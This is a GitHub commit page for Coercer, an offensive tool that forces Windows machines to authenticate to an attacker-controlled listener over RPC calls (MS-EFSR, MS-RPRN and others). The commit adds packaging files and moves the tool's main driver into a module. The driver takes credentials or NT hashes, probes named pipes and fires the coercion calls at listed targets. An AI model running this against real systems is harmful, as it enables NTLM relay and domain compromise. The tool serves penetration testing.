Skip to content

Commit 6b6204e

Browse files
authored
Merge pull request #8 from p0dalirius/add-setup-py-installer
Add setup py installer, fixes #7, release 1.5.1
2 parents eff5dc9 + c1c1396 commit 6b6204e

17 files changed

+328
-142
lines changed

MANIFEST.in

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
include requirements.txt
2+
recursive-include coercer *

Makefile

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
.PHONY : all clean build upload
2+
3+
all: install clean
4+
5+
clean:
6+
@rm -rf `find ./ -type d -name "*__pycache__"`
7+
@rm -rf ./build/ ./dist/ ./coercer.egg-info/
8+
9+
install: build
10+
python3 setup.py install
11+
12+
build:
13+
python3 setup.py sdist bdist_wheel
14+
15+
upload: build
16+
twine upload dist/*

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ $ ./coercer.py -h
2626
______
2727
/ ____/___ ___ _____________ _____
2828
/ / / __ \/ _ \/ ___/ ___/ _ \/ ___/
29-
/ /___/ /_/ / __/ / / /__/ __/ / v1.4
29+
/ /___/ /_/ / __/ / / /__/ __/ / v1.5.1
3030
\____/\____/\___/_/ \___/\___/_/ by @podalirius_
3131
3232
usage: coercer.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [--hashes [LMHASH]:NTHASH] [--no-pass] [-v] [-a] [-k] [--dc-ip ip address] [-l LISTENER] [-wh WEBDAV_HOST] [-wp WEBDAV_PORT]

coercer.py

Lines changed: 3 additions & 138 deletions
Original file line numberDiff line numberDiff line change
@@ -2,145 +2,10 @@
22
# -*- coding: utf-8 -*-
33
# File name : coercer.py
44
# Author : Podalirius (@podalirius_)
5-
# Date created : 6 Jul 2022
5+
# Date created : 17 Jul 2022
66

77

8-
import argparse
9-
import os
10-
import sys
11-
12-
from lib.protocols import MS_EFSR, MS_FSRVP, MS_DFSNM, MS_RPRN
13-
from lib.utils.smb import connect_to_pipe, can_bind_to_protocol, get_available_pipes_and_protocols
14-
15-
16-
VERSION = "1.4"
17-
18-
banner = """
19-
______
20-
/ ____/___ ___ _____________ _____
21-
/ / / __ \/ _ \/ ___/ ___/ _ \/ ___/
22-
/ /___/ /_/ / __/ / / /__/ __/ / v%s
23-
\____/\____/\___/_/ \___/\___/_/ by @podalirius_
24-
""" % VERSION
25-
26-
27-
def parseArgs():
28-
print(banner)
29-
parser = argparse.ArgumentParser(add_help=True, description="Automatic windows authentication coercer over various RPC calls.")
30-
31-
parser.add_argument("-u", "--username", default="", help="Username to authenticate to the endpoint.")
32-
parser.add_argument("-p", "--password", default="", help="Password to authenticate to the endpoint. (if omitted, it will be asked unless -no-pass is specified)")
33-
parser.add_argument("-d", "--domain", default="", help="Windows domain name to authenticate to the endpoint.")
34-
parser.add_argument("--hashes", action="store", metavar="[LMHASH]:NTHASH", help="NT/LM hashes (LM hash can be empty)")
35-
parser.add_argument("--no-pass", action="store_true", help="Don't ask for password (useful for -k)")
36-
parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode (default: False)")
37-
parser.add_argument("-a", "--analyze", default=False, action="store_true", help="Analyze mode (default: Attack mode)")
38-
parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line")
39-
parser.add_argument("--dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
40-
41-
listener_group = parser.add_argument_group()
42-
listener_group.add_argument("-l", "--listener", type=str, help="IP address or hostname of the listener machine")
43-
listener_group.add_argument("-wh", "--webdav-host", default=None, type=str, help="WebDAV IP of the server to authenticate to.")
44-
listener_group.add_argument("-wp", "--webdav-port", default=80, type=int, help="WebDAV port of the server to authenticate to.")
45-
46-
target_group = parser.add_mutually_exclusive_group(required=True)
47-
target_group.add_argument("-t", "--target", default=None, help="IP address or hostname of the target machine")
48-
target_group.add_argument("-f", "--targets-file", default=None, help="IP address or hostname of the target machine")
49-
parser.add_argument("--target-ip", action="store", metavar="ip address", help="IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it")
50-
51-
options = parser.parse_args()
52-
53-
if options.listener is not None:
54-
if options.webdav_host is not None:
55-
print("[!] Option --listener cannot be used with --webdav-host")
56-
sys.exit(0)
57-
else:
58-
# Only listener option
59-
pass
60-
else:
61-
if options.webdav_host is not None and options.webdav_port is not None:
62-
# All WebDAV options are not set
63-
pass
64-
else:
65-
print("[!] Option --webdav-host is needed in WebDAV mode. (--webdav-port defaults to port 80)")
66-
sys.exit(0)
67-
68-
if options.hashes is not None:
69-
lmhash, nthash = options.hashes.split(':')
70-
else:
71-
lmhash, nthash = '', ''
72-
73-
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
74-
from getpass import getpass
75-
options.password = getpass("Password:")
76-
77-
return lmhash, nthash, options
78-
79-
80-
def coerce_auth_target(options, target, lmhash, nthash, all_pipes, available_protocols):
81-
for pipe in all_pipes:
82-
dce = connect_to_pipe(pipe=pipe, username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip, verbose=options.verbose)
83-
if dce is not None:
84-
print(" [>] Pipe '%s' is \x1b[1;92maccessible\x1b[0m!" % pipe)
85-
for protocol in available_protocols:
86-
if pipe in protocol.available_pipes:
87-
dce = connect_to_pipe(pipe=pipe, username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip, verbose=options.verbose)
88-
if dce is not None:
89-
if can_bind_to_protocol(dce, protocol.uuid, protocol.version, verbose=options.verbose):
90-
protocol_instance = protocol(verbose=options.verbose)
91-
protocol_instance.pipe = pipe
92-
protocol_instance.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip)
93-
if options.webdav_host is not None and options.webdav_port is not None:
94-
protocol_instance.webdav_host = options.webdav_host
95-
protocol_instance.webdav_port = options.webdav_port
96-
protocol_instance.perform_coerce_calls(options.listener)
97-
elif options.listener is not None:
98-
protocol_instance.perform_coerce_calls(options.listener)
99-
else:
100-
if options.verbose:
101-
print(" [>] Pipe '%s' is \x1b[1;91mnot accessible\x1b[0m!" % pipe)
102-
103-
104-
available_protocols = [
105-
MS_DFSNM, MS_EFSR, MS_FSRVP, MS_RPRN
106-
]
107-
8+
from coercer.__main__ import main
1089

10910
if __name__ == '__main__':
110-
lmhash, nthash, options = parseArgs()
111-
112-
# Getting all pipes of implemented protocols
113-
all_pipes = []
114-
for protocol in available_protocols:
115-
all_pipes += protocol.available_pipes
116-
all_pipes = list(sorted(set(all_pipes)))
117-
if options.verbose:
118-
print("[debug] Detected %d usable pipes in implemented protocols." % len(all_pipes))
119-
120-
# Parsing targets
121-
targets = []
122-
if options.target is not None:
123-
targets = [options.target]
124-
elif options.targets_file is not None:
125-
if os.path.exists(options.targets_file):
126-
f = open(options.targets_file, 'r')
127-
targets = sorted(list(set([l.strip() for l in f.readlines()])))
128-
f.close()
129-
if options.verbose:
130-
print("[debug] Loaded %d targets." % len(targets))
131-
else:
132-
print("[!] Could not open targets file '%s'." % options.targets_file)
133-
sys.exit(0)
134-
135-
for target in targets:
136-
if options.analyze:
137-
print("[%s] Analyzing available protocols on the remote machine and interesting calls ..." % target)
138-
# Getting available pipes
139-
get_available_pipes_and_protocols(options, target, lmhash, nthash, all_pipes, available_protocols)
140-
else:
141-
print("[%s] Analyzing available protocols on the remote machine and perform RPC calls to coerce authentication to %s ..." % (target, options.listener))
142-
# Call interesting RPC functions to coerce remote machine to authenticate
143-
coerce_auth_target(options, target, lmhash, nthash, all_pipes, available_protocols)
144-
print()
145-
146-
print("[+] All done!")
11+
main()

lib/utils/__init__.py renamed to coercer/__init__.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,5 @@
22
# -*- coding: utf-8 -*-
33
# File name : __init__.py
44
# Author : Podalirius (@podalirius_)
5-
# Date created : 6 Jul 2022
5+
# Date created : 17 Jul 2022
6+

coercer/__main__.py

Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
# File name : __main__.py
4+
# Author : Podalirius (@podalirius_)
5+
# Date created : 17 Jul 2022
6+
7+
8+
import argparse
9+
import os
10+
import sys
11+
12+
from coercer.protocols import MS_EFSR, MS_FSRVP, MS_DFSNM, MS_RPRN
13+
from coercer.utils.smb import connect_to_pipe, can_bind_to_protocol, get_available_pipes_and_protocols
14+
15+
16+
VERSION = "1.5.1"
17+
18+
banner = """
19+
______
20+
/ ____/___ ___ _____________ _____
21+
/ / / __ \/ _ \/ ___/ ___/ _ \/ ___/
22+
/ /___/ /_/ / __/ / / /__/ __/ / v%s
23+
\____/\____/\___/_/ \___/\___/_/ by @podalirius_
24+
""" % VERSION
25+
26+
27+
def parseArgs():
28+
print(banner)
29+
parser = argparse.ArgumentParser(add_help=True, description="Automatic windows authentication coercer over various RPC calls.")
30+
31+
parser.add_argument("-u", "--username", default="", help="Username to authenticate to the endpoint.")
32+
parser.add_argument("-p", "--password", default="", help="Password to authenticate to the endpoint. (if omitted, it will be asked unless -no-pass is specified)")
33+
parser.add_argument("-d", "--domain", default="", help="Windows domain name to authenticate to the endpoint.")
34+
parser.add_argument("--hashes", action="store", metavar="[LMHASH]:NTHASH", help="NT/LM hashes (LM hash can be empty)")
35+
parser.add_argument("--no-pass", action="store_true", help="Don't ask for password (useful for -k)")
36+
parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode (default: False)")
37+
parser.add_argument("-a", "--analyze", default=False, action="store_true", help="Analyze mode (default: Attack mode)")
38+
parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line")
39+
parser.add_argument("--dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
40+
41+
listener_group = parser.add_argument_group()
42+
listener_group.add_argument("-l", "--listener", type=str, help="IP address or hostname of the listener machine")
43+
listener_group.add_argument("-wh", "--webdav-host", default=None, type=str, help="WebDAV IP of the server to authenticate to.")
44+
listener_group.add_argument("-wp", "--webdav-port", default=80, type=int, help="WebDAV port of the server to authenticate to.")
45+
46+
target_group = parser.add_mutually_exclusive_group(required=True)
47+
target_group.add_argument("-t", "--target", default=None, help="IP address or hostname of the target machine")
48+
target_group.add_argument("-f", "--targets-file", default=None, help="IP address or hostname of the target machine")
49+
parser.add_argument("--target-ip", action="store", metavar="ip address", help="IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it")
50+
51+
options = parser.parse_args()
52+
53+
if options.listener is not None:
54+
if options.webdav_host is not None:
55+
print("[!] Option --listener cannot be used with --webdav-host")
56+
sys.exit(0)
57+
else:
58+
# Only listener option
59+
pass
60+
else:
61+
if options.webdav_host is not None and options.webdav_port is not None:
62+
# All WebDAV options are not set
63+
pass
64+
else:
65+
print("[!] Option --webdav-host is needed in WebDAV mode. (--webdav-port defaults to port 80)")
66+
sys.exit(0)
67+
68+
if options.hashes is not None:
69+
lmhash, nthash = options.hashes.split(':')
70+
else:
71+
lmhash, nthash = '', ''
72+
73+
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
74+
from getpass import getpass
75+
options.password = getpass("Password:")
76+
77+
return lmhash, nthash, options
78+
79+
80+
def coerce_auth_target(options, target, lmhash, nthash, all_pipes, available_protocols):
81+
for pipe in all_pipes:
82+
dce = connect_to_pipe(pipe=pipe, username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip, verbose=options.verbose)
83+
if dce is not None:
84+
print(" [>] Pipe '%s' is \x1b[1;92maccessible\x1b[0m!" % pipe)
85+
for protocol in available_protocols:
86+
if pipe in protocol.available_pipes:
87+
dce = connect_to_pipe(pipe=pipe, username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip, verbose=options.verbose)
88+
if dce is not None:
89+
if can_bind_to_protocol(dce, protocol.uuid, protocol.version, verbose=options.verbose):
90+
protocol_instance = protocol(verbose=options.verbose)
91+
protocol_instance.pipe = pipe
92+
protocol_instance.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip)
93+
if options.webdav_host is not None and options.webdav_port is not None:
94+
protocol_instance.webdav_host = options.webdav_host
95+
protocol_instance.webdav_port = options.webdav_port
96+
protocol_instance.perform_coerce_calls(options.listener)
97+
elif options.listener is not None:
98+
protocol_instance.perform_coerce_calls(options.listener)
99+
else:
100+
if options.verbose:
101+
print(" [>] Pipe '%s' is \x1b[1;91mnot accessible\x1b[0m!" % pipe)
102+
103+
104+
def main():
105+
available_protocols = [
106+
MS_DFSNM, MS_EFSR, MS_FSRVP, MS_RPRN
107+
]
108+
109+
lmhash, nthash, options = parseArgs()
110+
111+
# Getting all pipes of implemented protocols
112+
all_pipes = []
113+
for protocol in available_protocols:
114+
all_pipes += protocol.available_pipes
115+
all_pipes = list(sorted(set(all_pipes)))
116+
if options.verbose:
117+
print("[debug] Detected %d usable pipes in implemented protocols." % len(all_pipes))
118+
119+
# Parsing targets
120+
targets = []
121+
if options.target is not None:
122+
targets = [options.target]
123+
elif options.targets_file is not None:
124+
if os.path.exists(options.targets_file):
125+
f = open(options.targets_file, 'r')
126+
targets = sorted(list(set([l.strip() for l in f.readlines()])))
127+
f.close()
128+
if options.verbose:
129+
print("[debug] Loaded %d targets." % len(targets))
130+
else:
131+
print("[!] Could not open targets file '%s'." % options.targets_file)
132+
sys.exit(0)
133+
134+
for target in targets:
135+
if options.analyze:
136+
print("[%s] Analyzing available protocols on the remote machine and interesting calls ..." % target)
137+
# Getting available pipes
138+
get_available_pipes_and_protocols(options, target, lmhash, nthash, all_pipes, available_protocols)
139+
else:
140+
print("[%s] Analyzing available protocols on the remote machine and perform RPC calls to coerce authentication to %s ..." % (target, options.listener))
141+
# Call interesting RPC functions to coerce remote machine to authenticate
142+
coerce_auth_target(options, target, lmhash, nthash, all_pipes, available_protocols)
143+
print()
144+
145+
print("[+] All done!")
146+
147+
148+
if __name__ == '__main__':
149+
main()
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.

0 commit comments

Comments
 (0)